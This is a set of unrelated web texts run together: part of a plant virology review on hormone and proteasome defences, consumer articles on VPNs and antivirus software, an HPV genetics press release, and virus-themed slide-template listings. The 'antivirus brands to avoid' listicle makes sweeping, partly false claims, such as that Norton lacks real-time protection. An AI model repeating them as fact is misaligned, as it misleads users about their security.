Brassinosteroids (BRs) have also been identified as a plant defence inducer against viruses ( Nakashita et al. , 2003 ). Wild-type tobacco treated with brassinolide (BL) exhibited enhanced resistance to TMV. BL-treated tobacco plants did not show SA accumulation or induction of PR gene expression, suggesting that BL-induced resistance is distinct from SAR ( Nakashita et al. , 2003 ). Geminiviruses also interact with the BR signalling pathway. Viral C4 (or AC4 in some viruses) interacts with BRASSINOSTEROID-INSENSITIVE 2 (BIN2), which is a negative regulator of BR signalling ( Piroux et al. , 2007 ). Although the functional relevance of this interaction remains to be investigated, ectopic expression of the BCTV C4 protein in A . thaliana drastically alters plant development, possibly through the disruption of multiple hormonal pathways ( Mills-Lujan and Deom, 2010 ). A BR receptor, the LRR-RLK brassinosteroid insensitive-1 (BRI1), and PRRs interact with the co-receptor BAK1 in a ligand-dependent manner. BAK1 was also found to be essential for plant basal immunity during compatible interactions with RNA viruses. For example, TCV, ORMV and TMV accumulated to higher levels in the bak1-4 and bak1-5 mutants than in wild-type plants ( Korner et al. , 2013 ).

Previous studies showed that the ethylene (ET) pathway might play an important role in antiviral defence ( Fischer and Dröge-Laser, 2004 ; Love et al. , 2005 , 2007 ). Overexpression of NtERF5, an ET-responsive transcription factor, conferred enhanced resistance to TMV infection, showing reduced size of local HR lesions and impaired systemic spreading of the virus ( Fischer and Dröge-Laser, 2004 ). Mutations in ET signalling were also reported to alter plant susceptibility to viruses. Two arabidopsis ET signalling mutants, etr1 and ein2 , showed reduced susceptibility to Cauliflower mosaic virus (CaMV) infection ( Love et al. , 2005 , 2007 ). The transcription factor WRKY8, which mediates the ET signalling pathway, is involved in the response against TMV-cg (crucifer-infecting Tobacco mosaic virus ) ( Chen et al. , 2013 ). In wrky8 mutants, several ET-synthesized or responsive transcription factors, such as ACS6 and ERF104, were more strongly induced in TMV-cg systemically infected leaves. Functional analysis using mutants showed that the acs6 , erf104 and ein2 mutants had reduced accumulation of TMV-cg RNA in systemically infected leaves compared with the wild type, indicating an important role for ET in anti-TMV-cg defence. The ET signalling pathway was also correlated with TuMV-initiated suppression of defence responses and enhanced aphid reproduction in plants ( Casteel et al. , 2015 ). Transgenic expression of Nia-Pro (nuclear inclusion a-protease domain) in arabidopsis alters ethylene responses and suppresses aphid-induced callose formation in an ET-dependent manner.

Abscisic acid (ABA) plays a key role in modulating plant responses to different biotic and abiotic stresses. Although the involvement of ABA in biotic stress has been studied extensively, the roles of ABA in viral replication and movement are not well characterized ( Alazem et al. , 2014 , 2015 ). Previous studies suggested virus-induced changes in ABA metabolism during infection ( Whenham et al. , 1986 ; Fraser and Whenham, 1989 ). Tomato plants harbouring the Tm-1 gene for resistance to TMV contain higher concentrations of ABA than susceptible plants ( Fraser and Whenham, 1989 ). Exogenous applications of ABA reduced the systemic accumulation of TMV-cg. Mutations in ABA deficient 1, ABA deficient 2, ABA deficient 3 or abi4 accelerated systemic TMV-cg accumulation in arabidopsis ( Chen et al. , 2013 ). ABA2 has also been shown to play a role in the accumulation of Bamboo mosaic potexvirus (BaMV) and CMV ( Alazem et al. , 2014 ). Mutants downstream of ABA2 ( aao3 , abi1-1 , a bi3-1 and abi4-1 ) were susceptible to BaMV. The aba2-1 mutant showed decreased accumulation of BaMV (+)RNA, (–)RNA and coat protein, with the most dramatic effect being observed for (–)RNA. ABA is also involved in the increase in callose deposition on plasmodesmata by inhibiting β-1,3-glucanase transcription, which may restrict cell to cell movement of the virus and enhance resistance ( Beffa et al. , 1996 ; Rezzonico et al. , 1998 ; Mauch-Mani and Mauch, 2005 ).

Viral infections may also disturb auxin, cytokinin and gibberellin signalling pathways. The replicase protein of TMV interacts with the related Aux/IAA proteins in arabidopsis and tomato, leading to modifications in auxin-mediated gene regulation and disease development ( Padmanabhan et al. , 2005 , 2008 ). The geminivirus South African cassava mosaic virus [ZA:99] activated expression of auxin-inducible genes in arabidopsis ( Pierce and Rey, 2013 ). In a similar manner, the geminivirus AC2/AL2 protein interacts with an ADK in arabidopsis, leading to increased expression of primary cytokinin-responsive genes ( Baliji et al. , 2010 ). Gibberellic acid may have a defence role against biotrophic or necrotrophic pathogens via modulation of the balance between SA- and JA/ET-mediated signalling pathways ( Robert-Seilaniantz et al. , 2007 ; Alazem and Lin, 2015 ). The P2 protein of the Rice dwarf virus (RDV) interacts with ent-kaurene oxidase in vivo , a key factor in the biosynthesis of gibberellins, leading to a dwarf phenotype in rice, which was rescued after exogenous application of GA 3 ( Zhu et al. , 2005 ).

It is quite clear that plant hormones play a critical role in many aspects of plant biology, including development and pathogen defence. During viral infection, symptoms and viral accumulation have been correlated with disturbance in phytohormone levels. Despite advances in the knowledge of hormone-mediated antiviral functions, there are still many questions to be answered, including how cross-talk between hormone pathways modulates the host defence response to impair viral infection.

PROTEASOME DEGRADATION

The UPS plays a central role in a wide range of fundamental plant processes, including degradation and functional modification of cellular proteins, and signalling in response to abiotic and biotic stimuli ( Sadanandom et al. , 2012 ; Luo, 2016 ). In the context of virus–plant interactions, the UPS is targeted by many viruses to maintain suitable levels of viral proteins and to achieve a successful infection. However, the UPS also acts as a host defence mechanism to eliminate viral components ( Alcaide-Loridan and Jupin, 2012 ). Several interactions between viral proteins and components of the ubiquitin and ubiquitin-like protein pathways have been reported. The helper component proteases (HcPro) of Lettuce mosaic virus (LMV) and PVY were reported to interact directly with different subunits of the 20S proteasome ( Jin et al. , 2007 ; Dielen et al. , 2011 ). The HcPro from Papaya ringspot virus (PRSV) interacts with the papaya homologue of arabidopsis PAA (a1 subunit of the 20S proteasome), and inhibition of the proteasome increased the accumulation of PRSV in papaya and accelerated development of symptoms and viral RNA accumulation ( Sahana et al. , 2012 ). Transgenic tobacco expressing the geminivirus protein βC1 displayed a reduction in polyubiquitination activity, probably due to interaction between βC1 from Cotton leaf curl Multan virus (CLCuMV) and the host ubiquitin-conjugating (UBC) enzyme, SlUBC3, leading to disruption of the UPS ( Eini et al. , 2009 ). Some viruses depend on interactions with the ubiquitin pathway to achieve a successful infection. The geminivirus BSCTV encodes the protein C2, a transcriptional activator, which binds to S -adenosylmethionine decarboxylase 1 (SAMDC1) ( Zhang et al. , 2011 ). This study suggests that BSCTV C2 attenuates the 26S proteasome-mediated degradation of SAMDC1 to establish a hypomethylated environment to facilitate viral accumulation. The Turnip yellow mosaic virus (TYMV) RNA-dependent RNA polymerase (66K) is degraded by the UPS in infected cells, which compromises viral infectivity ( Camborde et al. , 2010 ). The virus, in turn, makes use of a viral deubiquitinating enzyme (DUB) to stabilize RdRp and contribute positively to infection ( Chenon et al. , 2012 ).

Plant viruses also use UPS processes to promote virulence. The downregulation of RPM9 , a 26S proteasome subunit, inhibits the systemic spread of TMV and TUMV in Nicotiana benthamiana ( Jin et al. , 2006 ). The viral replication protein (Rep) from geminiviruses binds to host SUMO-conjugating enzyme 1 (SCE1), which is required for viral infection ( Castillo et al. , 2004 ; Sanchez-Duran et al. , 2011 ). Geminiviruses also interfere with the activity of the COP9 signalosome complex through interaction of the viral protein C2 and the host CSN5 protein, compromising many cellular processes regulated by the CUL1-based SCF ubiquitin E3 ligases ( Lozano-Duran et al , 2011 ). In the case of the tombusvirus Tomato bushy stunt virus (TBSV), a Cdc34p E2 UBC enzyme has been identified to interact with the TBSV p33 replication protein, promoting its ubiquitination ( Li et al. , 2008 ). Downregulation of Cdc34p compromises tombusvirus replicase activity ( Li et al. , 2008 ).

Geminiviruses alter the cell cycle of infected host cells to create a suitable environment for viral replication ( Hanley-Bowdoin et al. , 2013 ). The expression of the pathogenicity factor C4 from Beet severe curly top virus (BSCTV) affects the cell cycle in arabidopsis, leading to abnormal cell divisions, and induces a host RING finger protein (RKP), which targets cyclin kinase inhibitors for proteasomal degradation. Mutations in RKP reduced the susceptibility to BSCTV and impaired BSCTV replication in plant cells ( Lai et al. , 2009 ). Some viruses may also induce host protein degradation to defeat the RNA silencing pathway. The polerovirus silencing suppressor P0 from Beet western yellows virus (BWYV) targets AGO1 for degradation in a still unknown proteasome-insensitive mechanism ( Baumberger et al. , 2007 ).

In summary, the UPS involvement in plant defence mechanisms occurs at different levels, from ubiquitin to the 26S proteasome ( Dielen et al. , 2011 ). Viruses hijack the host UPS to control the quality of their own proteins and to enhance effectiveness. Concomitantly, plants use this pathway as another layer of resistance, mainly targeting viral proteins for degradation. Over the past decades, many reports have revealed a complex network involving host UPS components and viral proteins from several different groups of plant viruses, which suggests that perturbation of the Ub pathway might be a conserved mechanism in virus–host interactions.

CONCLUSIONS

In response to viral infection, plants activate a multilayered defence response, including immune receptor signalling, RNA silencing, hormone-mediated defence pathways and protein degradation. Viruses, however, can subvert the plant’s defence signalling by suppressing the host immune system and/or manipulating the host defence signalling network to their own benefit by affecting hormone signalling or the proteasome degradation pathway. Therefore, a better understanding of plant–virus interaction dynamics is crucial if we are to use the plant immune system rationally and more effectively to control viral infections.

In spite of the significant advances in our knowledge of the antiviral immunity in plants made in the last decade, several questions about the dynamics between the virulence strategy of the viruses and the plant immune system remain. For example, we do not know the identities of the virus-derived PAMPs or plant-derived DAMPs that induce antiviral PTI and the viral effectors that suppress it. Furthermore, antiviral PRRs have not been identified. A better understanding of the repertoire of virus effectors (Avr factor) and the NBS-LRR host targets (R proteins) and their mode of action in activating ETI and/or suppressing PTI will help to define the evolutionary pressure acting upon the host and viruses and determine how to deploy the immune system towards a more efficient control of virus infection. We also need to define the NIK1-mediated suppression of translation as a general or virus-specific antiviral strategy in plants. So far, a sustained NIK1 pathway has been shown to be effective against begomoviruses, one of the largest groups of plant DNA viruses, which cannot circumvent the regulatory mechanism of host translation. Although plant RNA viruses have developed a variety of non-canonical mechanisms to translate their RNAs and overcome the regulatory mechanism of host translation, they interact tightly with the host protein synthesis machinery such that host translation initiation factor-encoded genes can function as recessive resistance genes. Furthermore, the translational repression activity of the effector AGO has been recently demonstrated to play a role in the antiviral RNA silencing mechanism. These examples support the argument that hindering the translation of viral mRNA (globally or specifically) is a promising avenue for virus control. Nevertheless, an emerging theme in the plant immunity scenario is that RNA silencing is connected to the other plant defence layers controlling and co-ordinating protein-based innate immunity and SAR into a more robust defence. Therefore, strategies for integration of different plant defence layers (innate immunity, SAR and RNAi) in a co-ordinated manner are expected to ensure a robust and more durable defence response against plant viruses for crop protection.

ACKNOWLEDGEMENTS

This work was supported by the Conselho Nacional de Desenvolvimento Científico e Tecnológico [573600/2008-2 and 447578/2014-6 to E.P.B.F.] and the Fundação de Amparo à Pesquisa do Estado de Minas Gerais [CBB-APQ-03175-13 and CBB-APQ-01491-14 to E.P.B.F.]. I.P.C. was supported by a CAPES graduate fellowship.

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• Services & Software

You Really Should Be Using a VPN and an Antivirus. Here’s Why

A VPN and an antivirus serve two different purposes, but use both if you want more complete online protection.

Both a virtual private network and an antivirus program can help protect your digital life, but each one serves a completely different purpose. A VPN keeps your internet activity private, whereas antivirus software helps keep your connected devices secure from outside threats like viruses and other malware. VPNs focus on privacy while antivirus software concentrates on security.

The internet offers immense opportunities for learning, collaborating, creating and entertainment. But at the same time, it’s full of risks and bad actors who are after your sensitive personal information. One click on the wrong website or file can put your data in the hands of a criminal , and network administrators may be selling your data to third parties. Even your own ISP is stockpiling your personal data and browsing history to feed you ads online. With threats like these, it’s dangerous to go alone -- a VPN and antivirus can help you along the way.  

What is a VPN?

A VPN is software that encrypts your internet traffic while routing your data through an encrypted tunnel to a secure server in another location. In the process, the VPN changes your IP address to the address of the VPN server you’re connected through (which makes websites think you’re in a different geographical area, like a different state or even country). This helps boost your online privacy by rendering your internet traffic indecipherable to your ISP, government, hackers or network administrators, while hiding your true IP address from the websites you visit.

Be aware that when you use a VPN, it’s now the VPN rather than your ISP that can technically monitor, or log, your traffic -- so it’s vital that you use a trustworthy VPN. CNET’s recommended VPN services all promise never to keep any logs of their users’ online activity. Even though it’s impossible to verify zero-log claims with 100% certainty, a reputable VPN will have its no-logs policy independently audited or even tested in the wild, which can help build trust in the VPN that it’s truly not keeping track of what you’re doing online while connected to its servers. 

What are the benefits of a VPN?

A VPN can mask your IP address and keep your activity hidden from online snoops, but in doing so it gives you abilities beyond beefed-up privacy. 

A VPN can help you bypass firewalls and access the open internet if you live in a region with heavy internet censorship or you’re a student blocked from accessing certain sites on school Wi-Fi . Similarly, because a VPN changes your IP address (and therefore your visible location), many people use VPNs to access geographically restricted content from around the world. A VPN can help you stream your home Netflix library while you’re abroad or access tons of other content unavailable in your location. If your ISP is throttling your internet connection , you can even use a VPN to improve your speeds (but keep in mind that a VPN will generally slow your internet speeds ).

You can use a VPN to hide your internet browsing activity from your ISP and prevent it from selling your information and feeding you ads. A VPN can help you communicate freely online even if you have critical privacy needs -- which is especially important for people like activists, whistleblowers, journalists and lawyers who may be in regions where key communication tools like Signal, WhatsApp, Instagram and X are restricted or banned. A VPN can also help keep you safe online while traveling, by protecting your privacy on unsecured Wi-Fi networks. 

While the risks of connecting to public Wi-Fi are not quite as severe anymore because most websites use HTTPS to encrypt browser traffic, network admins can still log identifiable data like your IP address, your device’s MAC address, along with other information like the timestamps associated with your online activity and the websites you visit (but not the specific pages or the information you enter into fields on those pages). Also, HTTPS only encrypts browser traffic, so any unencrypted traffic from other apps you may be using may be monitored. A VPN encrypts all of the traffic on your entire device and masks your true IP address, effectively filling in the gaps where HTTPS falls short.

What can't a VPN do?

VPNs can do a lot of things, but there are several misconceptions about the full scope of what they can accomplish -- many of which have been initiated by VPN companies’ marketing. One of the biggest misconceptions about VPNs is that they make you totally anonymous online. Total anonymity online is a fantasy -- your digital footprint is virtually impossible to erase, even if you use a VPN. 

Many of the best VPNs include various flavors of “threat protection” with their services that can help offer basic safeguards against things like malware and phishing (by blocking URLs that may be malicious). But a VPN won’t be able to stop malware from infecting your computer once you’ve downloaded it or stop you from exposing personal information in a phishing scam.

A VPN is an excellent tool for masking your IP address and concealing your internet traffic from online snoops, but don’t believe anyone who claims it to be an all-encompassing solution for all of your online privacy and security needs.

What is antivirus?

Antivirus software scans your device for known viruses and malware. Your antivirus software can detect and block malware from infecting your computer, or delete it if it’s already on your computer. You can typically either run a manual scan of your entire system or specific file, or you can schedule automatic scans and let the antivirus get to work for you on its own. A good antivirus program will also update itself automatically to stay on top of the latest threats. 

If you’re not careful, you can easily download malware to your computer by clicking on a malicious link or saving a malicious attachment -- in a phishing email, for example. Once the malware has infected your computer, a threat actor can do any number of things, including taking over control of your computer, spying on your computer activity, logging your keystrokes, stealing your personal data, locking your computer and demanding a ransom or even erasing everything on your system. Using an antivirus can mitigate these threats. 

What are the benefits of an antivirus program?

An antivirus application can keep your computer safe from viruses and other malware, thereby potentially guarding against fraud and identity theft by keeping your sensitive data out of the hands of online criminals. While it’s not foolproof, an antivirus program can warn you if you’re visiting a site or clicking a link that may be malicious. Some antivirus solutions can even scan the dark web and identify whether your email address has been compromised (and if confirmed, you should change your password and enable two-factor authentication). An antivirus app can even keep annoying pop-up ads from interrupting your browsing experience. A good antivirus suite will even be able to keep your external hard drives safe from malware. As a result of its blocking, detecting and cleaning functionality, antivirus software can keep your computer running smoothly.   

What can't an antivirus do?

Antivirus software is a security tool -- so while it’s great for keeping your computer protected from viruses and other malware, it can’t keep your internet activity private. That means that your antivirus program won’t be able to prevent your ISP from selling your data to advertisers. Although an antivirus app may be able to warn you if you happen to stumble onto a phishing site, it might not be able to catch every phishing attempt and it won’t be able to stop you from sharing your information on a malicious site. It also won’t be able to prevent a malicious site from capturing your true IP address like a VPN can. 

VPN vs. Antivirus: Do you need both?

A VPN and antivirus software are both good tools to use -- but because they protect you in different ways, each one is an incomplete solution if you’re looking for comprehensive online privacy and security. If you want complete protection, I recommend having both a VPN and an antivirus program in your arsenal. That way, you can keep your internet activity private using a VPN and protect your devices from viruses and other malware with an antivirus solution at the same time -- essentially plugging the gaps where each solution is limited in its abilities. Some VPNs, like Surfshark , offer packages that include antivirus, and many antivirus solutions include a VPN. So you have the option to bundle these services with a single subscription. 

To round out your suite of online protection tools, I also recommend getting a password manager , secure cloud storage and even a secure email service. With all of these tools at your disposal, you’ll be well on your way to fortifying your overall online privacy and security.     

Ultimately, it’s important to practice proper cyber hygiene in order to keep your data safe and various cyberthreats at bay: 

• Be careful not to open attachments or click on links in any suspicious-looking unsolicited email messages. 
• Use a VPN to encrypt your online traffic and maintain your privacy when using the internet. 
• Use strong passwords and never reuse the same password across multiple online accounts. 
• Don’t click on sketchy-looking pop-up ads.
• Enable two-factor authentication whenever possible.
• Keep your software updated to ensure the latest security patches are in place.
• Keep your data backed up.

While VPNs and antivirus software are excellent tools and can be tremendous assets for your online privacy and security, they’re not 100% failsafe and can’t cover every threat posed online. In addition to leveraging tools like VPN and antivirus, you’ll need to stay vigilant to most effectively protect yourself.

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5 Antivirus Software Brands to Avoid

P icking out antivirus software brands to avoid out of all of the options on the market can be a little confusing. Antivirus software that has been popular among most consumers since the 2000s made home computing more accessible. Since the initial scare of early computer viruses , these antivirus programs have been deemed a necessity.

However, that isn’t necessarily true. These days, antivirus software is a frivolous extra that may add more problems than assistance. Overall, it’s not a good idea to rely on a single app or program to protect your entire system, but some of the most famous antivirus software brands are not something that you should put on your computer. Let’s check out some of the most troublesome offenders.

Norton is one of the most well-known antivirus software brands out there. It may even be the most famous, with millions of people purchasing its services yearly, relying on them to protect sensitive information for over 2 decades. The most misleading loophole in Norton’s offerings is that it does not include real-time protection, ultimately defeating the entire point. You also shouldn’t notice that antivirus software is running at all, but Norton makes its presence known.

McAfee is more known for the annoying popups that come with the service, rather than the service itself. Then, when people do talk about the service, it is usually with an attitude of annoyance beyond those popups. Users cannot control updates, with many reporting activities being completely interrupted with no real way out. Ultimately, McAfee is completely outdated, while some of these other options may still have one or two positive, redeeming qualities.

MacKeeper has a long history of misdeeds . On the surface, it even seems like a scam or like it’s malware that you’re trying to avoid when you’re called to install antivirus software in the first place. It is extremely well-advertised, so even long-time experts may have considered using it at one point. Thankfully, Apple’s OS doesn’t require third-party antivirus software to begin with. Most Apple enthusiasts use that as a selling point for the computers.

Webroot should come with a warning sign that tells every user not to attempt uninstalling it. It is incredibly difficult to uninstall the program, with many users giving up entirely, succumbing to their fate, and realizing they should have avoided the software altogether. Reporting anything to the service is pretty terribly designed, which is a significantly important feature of antivirus software. Webroot’s major selling point is the low price tag that comes with the service. Though it may be tempting to go the economical route, sometimes, you really do get what you pay for. 

Avast is another company that managed to do exactly what a security company should never even think of — sell their customers’ data to a third party . One simple action completely tarnished the brand’s reputation forever. Before then, though, Avast would show extremely threatening popups to its users. Antivirus software is meant to protect users, not scare them.

Of course, antivirus software isn’t always bad. However, it’s also not normally a necessity. You can save yourself money and trouble by avoiding antivirus software, but especially these 5 well-known brands that offer subpar (or worse) services. If you want to avoid malware and viruses , stick with the built-in Windows Defender — which comes with all Windows 10 and 11 systems, or opt for a more reliable app like Malwarebytes.

The image featured at the top of this post is ©Carlos Amarillo/Shutterstock.com.

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The post 5 Antivirus Software Brands to Avoid appeared first on History-Computer .

Researchers identify new genetic risk factors for persistent HPV infections

First genome wide association study finds variants linked to susceptibility of cervical cancer-causing virus.

Human papillomavirus (HPV) is the second most common cancer-causing virus, accounting for 690,000 cervical and other cancers each year worldwide. While the immune system usually clears HPV infections, those that persist can lead to cancer, and a new finding suggests that certain women may have a genetic susceptibility for persistent or frequent HPV infections. These genetic variants, identified in a study led by University of Maryland School of Medicine researchers, could raise a woman's risk of getting cervical cancer from a high-risk HPV infection.

Findings were recently published in The European Journal of Human Genetics .

The research team conducted a genome-wide association study of high-risk HPV infections in a cohort of over 10,000 women, whose data were collected as part of the African Collaborative Center for Microbiome and Genomics Research (ACCME) cohort study. A total of 903 of the participants had high-risk HPV infections when the study began, with 224 participants having HPV infections that resolved, and 679 having persistent HPV infections. More than 9,800 HPV-negative women from the ACCME study served as controls.

"We found certain genetic variants were associated with having high-risk HPV infections, while other variants and human leukocyte antigen (HLA) genes were associated with persistent infections, which increase the risk of developing cervical cancer," said study leader Sally N. Adebamowo, MBBS, MSc, ScD, Associate Professor of Epidemiology & Public Health at UMSOM. "This is a critical finding that suggests genetic underpinnings for cervical cancer risk. It is the first sufficiently powered genome-wide association study of cervical high-risk HPV infections. Our polygenic risk score models should be evaluated in other populations."

Specifically, she and her colleagues found that the top variant associated with prevalent high-risk HPV infection was rs116471799, on the fourth chromosome near the LDB2 gene, which encodes for proteins. They found persistent HPV was associated with variants clustered around the TPTE2, a protein encoding gene associated with gallbladder cancer. The genes SMAD2 and CDH12 were also associated with persistent high risk HPV infections, and significant polygenic risk scores. Together the findings enabled the research team to develop polygenic risk scores to determine the likelihood that a certain genetic profile would increase the risk of having prevalent or persistent HPV infections.

"Our findings can be used for risk stratification of persistent high-risk HPV infections for precision or personalized cervical cancer prevention. We hope to conduct long-term studies on the integration of PRS and genomic risk factors into the continuum of cervical cancer prevention," said study corresponding author Clement A. Adebamowo, BM, ChB, ScD, Professor of Epidemiology & Public Health at UMSOM.

A recent report from the American Cancer Society found that cervical cancer among women ages 30 to 44 rose almost 2 percent a year from 2012 to 2019. This is after a big decline in cervical cancer rates over the past half-century due to early detection from Pap smears and HPV screening tests. In addition, rates of cervical cancer, have steadily declined among younger women who were among the first to benefit from HPV vaccines, which were approved for use in 2006.

In the U.S., more than half of women diagnosed with cervical cancer have never been screened or were not screened in the last five years, according to the Centers for Disease Control and Prevention. In Nigeria, only a small percentage of women have access to the HPV vaccine, so those included in the study were largely unvaccinated.

"The results provide insight into the role of antigen processing and presentation, and HLA-DRB1 alleles in immune surveillance and persistence of high-risk HPV infections," said Mark T. Gladwin, MD, who is the John Z. and Akiko K. Bowers Distinguished Professor and Dean, UMSOM, and Vice President for Medical Affairs, University of Maryland, Baltimore. "Confirmatory studies are crucial to validate these important findings in other populations, with the goal of reducing the burden of high-risk HPV related diseases on global health."

Study co-authors included those from: the National Human Genome Research Institute in Bethesda, MD; Asokoro District Hospital in Abuja, Nigeria; Federal Medical Center in Keffi, Nigeria; Wuse General Hospital in Abuja, Nigeria; University College Hospital, University of Ibadan, Ibadan, Nigeria; Institute of Human Virology Nigeria, Abuja, Nigeria; Garki Hospital Abuja, Abuja, Nigeria; University of Abuja Teaching Hospital, Gwagwalada, Abuja, Nigeria; National Hospital Abuja, Abuja, Nigeria; Kubwa General Hospital, Abuja, Nigeria.

This work was supported by the African Collaborative Center for Microbiome and Genomics Research Grant (NIH/NHGRI 1U54HG006947), UM-Capacity Development for Research in AIDS Associated Malignancy Grant (NIH/NCI 1D43CA153792-01), and Polygenic Risk Score (PRS) Methods and Analysis for Populations of Diverse Ancestry -- Study Sites (NIH/NHGRI 1U01HG011717).

• Cervical Cancer
• Women's Health
• Breast Cancer
• Men's Health
• Endangered Plants
• HPV vaccine
• Cervical cancer
• Plantar wart
• Breast cancer
• Immune system
• Colorectal cancer

Story Source:

Materials provided by University of Maryland School of Medicine . Note: Content may be edited for style and length.

Journal Reference :

• Sally N. Adebamowo, Adebowale Adeyemo, Amos Adebayo, Peter Achara, Bunmi Alabi, Rasheed A. Bakare, Ayotunde O. Famooto, Kayode Obende, Richard Offiong, Olayinka Olaniyan, Sanni Ologun, Charles Rotimi, Saurayya S. Abdullahi, Maryam Abdulsalam, Ruxton Adebiyi, Victor Adekanmbi, Bukunmi Adelekun, Segun Adeyemo, Gerald Akabueze, Bernice Akpobome, Stella Akpomiemie, Gabriel O. Alabi, Chinyere Anichebe, Claire Anyanwu, Miriam C. Ayogu, Dorcas J. Bako, Patience Bamisaiye, Nkechi U. Blessing, Osa A. Chinye, Patrick Dakum, Eileen Dareng, Grace Dwana, Juliet I. Erhunmwonsere, Emelda O. Eze, Tolani A. Fagbohun, Temitope Filade, Toluwalope Gbolahan, Gloria C. Anaedobe, Stella Ibezim, Racheal Iwaloye, Jesse James, Dayo Kehinde, Fiyinfoluwa Makinde, Jessica Mase, Charles Mensah, Florence A. Nwoko, Kayode Obende, George Odonye, Folake Odubore, Funmi Odunyemi, Michael Odutola, Uzoamaka Oguama, Tochukwu Oguoma, Temitayo Oladimeji, Toyosi Olawande, Temitope Olukomogbon, Sefunmi Oluwole, Gladys Omenuko, Nkiruka Onwuka, Yinka Owoade, Thelma C. Ugorji, Syntyche Yohanna, Ibrahim Yusuf, Clement A. Adebamowo. Genome, HLA and polygenic risk score analyses for prevalent and persistent cervical human papillomavirus (HPV) infections . European Journal of Human Genetics , 2024; DOI: 10.1038/s41431-023-01521-7

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238 Best Virus-Themed Templates for PowerPoint & Google Slides

With over 6 million presentation templates available for you to choose from, crystalgraphics is the award-winning provider of the world’s largest collection of templates for powerpoint and google slides. so, take your time and look around. you’ll like what you see whether you want 1 great template or an ongoing subscription, we've got affordable purchasing options and 24/7 download access to fit your needs. thanks to our unbeatable combination of quality, selection and unique customization options, crystalgraphics is the company you can count on for your presentation enhancement needs. just ask any of our thousands of satisfied customers from virtually every leading company around the world. they love our products. we think you will, too" id="category_description">crystalgraphics creates templates designed to make even average presentations look incredible. below you’ll see thumbnail sized previews of the title slides of a few of our 238 best virus templates for powerpoint and google slides. the text you’ll see in in those slides is just example text. the virus-related image or video you’ll see in the background of each title slide is designed to help you set the stage for your virus-related topics and it is included with that template. in addition to the title slides, each of our templates comes with 17 additional slide layouts that you can use to create an unlimited number of presentation slides with your own added text and images. and every template is available in both widescreen and standard formats. with over 6 million presentation templates available for you to choose from, crystalgraphics is the award-winning provider of the world’s largest collection of templates for powerpoint and google slides. so, take your time and look around. you’ll like what you see whether you want 1 great template or an ongoing subscription, we've got affordable purchasing options and 24/7 download access to fit your needs. thanks to our unbeatable combination of quality, selection and unique customization options, crystalgraphics is the company you can count on for your presentation enhancement needs. just ask any of our thousands of satisfied customers from virtually every leading company around the world. they love our products. we think you will, too.

Widescreen (16:9) Presentation Templates. Change size...

Medical symbol and virus over pink background

Close up of viruses on brown and gray background

Medical theme depicting isolated viruses with words virus on a purple background

White human with syringe injecting vacine, orange viruses, blue cell germ background

Red blood cells infected with blue viruses

Detailed 3D viruses spread on a blue background with wavy insertion

A skeleton and a virus in the picture

Close-up 3D HIV virus

Viruses in blood

A single green colored avian virus cell with nodes

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Tested sample of cells infected by HIV virus on black surface

Slide set consisting of rear view of hacker using laptop and credit card against virus background

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Internet Virus

Transparent World map in white margins on dark red virus sign on red background

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Man with swine flu virus H1N1

Blue and green hive virus cells with black background, medicine

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Address bar with virus alert, virus depiction and virus word with cursor hovering over virus warning, https, red networking internet background

Human with New h1n1 influenza virus over white background

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More virus templates for powerpoint and google slides:.

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Antivirus Software Pitch Deck

Antivirus software pitch deck presentation, free google slides theme and powerpoint template.

Since everyone has now a computer at home, the potential of doing harm (why does the human being always think of ways of doing harm instead of ways of doing good?) to other devices hsa increased. We've got powerful tools such as antivirus software, taking care of those threats and becoming essential for businesses and individuals alike. Use this template to pitch your new antivirus software so you catch the eye of investors and future customers. This dark blue design has a bit of content generated by AI, telling you how to structure a pitch deck, and the visuals are suitable for themes revolving around computers.

Features of this template

• 100% editable and easy to modify
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• Contains easy-to-edit graphics such as graphs, maps, tables, timelines and mockups
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• Designed to be used in Google Slides and Microsoft PowerPoint
• 16:9 widescreen format suitable for all types of screens
• Includes information about fonts, colors, and credits of the resources used

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